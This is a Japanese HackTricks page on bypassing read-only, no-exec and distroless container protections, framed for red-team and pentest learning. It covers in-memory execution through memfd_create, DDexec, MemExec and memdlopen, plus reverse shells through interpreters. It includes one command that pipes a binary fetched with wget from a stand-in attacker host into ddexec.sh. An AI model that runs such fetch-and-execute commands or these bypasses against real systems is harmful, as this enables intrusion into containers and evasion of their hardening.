FS保護のバイパス: 読み取り専用 / 実行不可 / Distroless

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

動画

以下の動画では、このページで言及されている技術がより詳しく説明されています:

読み取り専用 / 実行不可シナリオ

Linuxマシンが読み取り専用 (ro) ファイルシステム保護でマウントされていることがますます一般的になっています。特にコンテナでは、**readOnlyRootFilesystem: true**をsecuritycontextに設定するだけで、roファイルシステムでコンテナを実行することができます:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

しかし、ファイルシステムがroとしてマウントされていても、/dev/shmは書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは実行不可保護でマウントされるため、ここにバイナリをダウンロードしても実行することはできません

warning

レッドチームの観点から見ると、これはシステムに既に存在しないバイナリ(バックドアやkubectlのような列挙ツール)をダウンロードして実行することを複雑にします

最も簡単なバイパス: スクリプト

バイナリについて言及しましたが、インタープリタがマシン内にある限り、任意のスクリプトを実行することができます。例えば、shが存在する場合はシェルスクリプトpythonがインストールされている場合はPythonスクリプトです。

しかし、これはあなたのバイナリバックドアや他のバイナリツールを実行するには十分ではありません。

メモリバイパス

バイナリを実行したいがファイルシステムがそれを許可していない場合、最良の方法はメモリから実行することです。なぜなら、保護はそこには適用されないからです

FD + execシステムコールバイパス

マシン内にPythonPerl、またはRubyのような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(create_memfdシステムコール)に保存することができます。これはこれらの保護によって保護されないため、execシステムコールを呼び出して実行するファイルとしてfdを指定します。

これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、バイナリが圧縮され、b64エンコードされたスクリプトを指定された言語で生成し、create_memfdシステムコールを呼び出して作成されたfdデコードおよび解凍する手順と、実行するためのexecシステムコールを呼び出します。

warning

これはPHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出すデフォルトの方法がないからです。したがって、バイナリを保存するためのメモリfdを作成するためにcreate_memfdを呼び出すことはできません。

さらに、/dev/shmにファイルを持つ通常のfdを作成しても機能しません。なぜなら、実行不可保護が適用されるため、実行することは許可されないからです。

DDexec / EverythingExec

DDexec / EverythingExecは、プロセスの**/proc/self/memを上書きすることによって自分のプロセスのメモリを変更する**技術です。

したがって、プロセスによって実行されているアセンブリコードを制御することができシェルコードを書き込み、プロセスを「変異」させて任意のコードを実行することができます。

tip

DDexec / EverythingExecを使用すると、メモリから自分のシェルコード任意のバイナリロードして実行することができます。

bash
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

For more information about this technique check the Github or:

DDexec / EverythingExec

MemExec

Memexec は DDexec の自然な次のステップです。これは DDexec シェルコードのデーモン化 であり、異なるバイナリを 実行したいとき に DDexec を再起動する必要はなく、DDexec テクニックを介して memexec シェルコードを実行し、その後 このデーモンと通信して新しいバイナリを読み込んで実行する ことができます。

memexec を使用して PHP リバースシェルからバイナリを実行する方法の例https://github.com/arget13/memexec/blob/main/a.php で見つけることができます。

Memdlopen

DDexec と同様の目的を持つ memdlopen テクニックは、メモリにバイナリを読み込む より簡単な方法を提供します。依存関係を持つバイナリを読み込むことさえ可能です。

Distroless Bypass

What is distroless

Distroless コンテナは、特定のアプリケーションやサービスを実行するために必要な 最小限のコンポーネント のみを含み、ライブラリやランタイム依存関係などを含みますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されます。

Distroless コンテナの目的は、不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ、悪用される可能性のある脆弱性の数を最小限に抑えることです。

Reverse Shell

Distroless コンテナでは、通常のシェルを取得するための shbash見つけられない かもしれません。また、lswhoamiid などのバイナリも見つかりません... システムで通常実行するすべてのものです。

warning

したがって、リバースシェル を取得したり、通常のように システムを列挙 することは できません

ただし、侵害されたコンテナが例えば Flask ウェブを実行している場合、Python がインストールされているため、Python リバースシェル を取得できます。Node を実行している場合は Node リバースシェルを取得でき、ほとんどの スクリプト言語 でも同様です。

tip

スクリプト言語を使用することで、言語の機能を利用して システムを列挙 することができます。

read-only/no-exec 保護が ない 場合、リバースシェルを悪用して ファイルシステムにバイナリを書き込み、それらを 実行 することができます。

tip

ただし、この種のコンテナでは通常これらの保護が存在しますが、以前のメモリ実行テクニックを使用してそれらを回避する ことができます。

RCE 脆弱性を悪用してスクリプト言語のリバースシェルを取得し、メモリからバイナリを実行する方法の例https://github.com/carlospolop/DistrolessRCE で見つけることができます。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする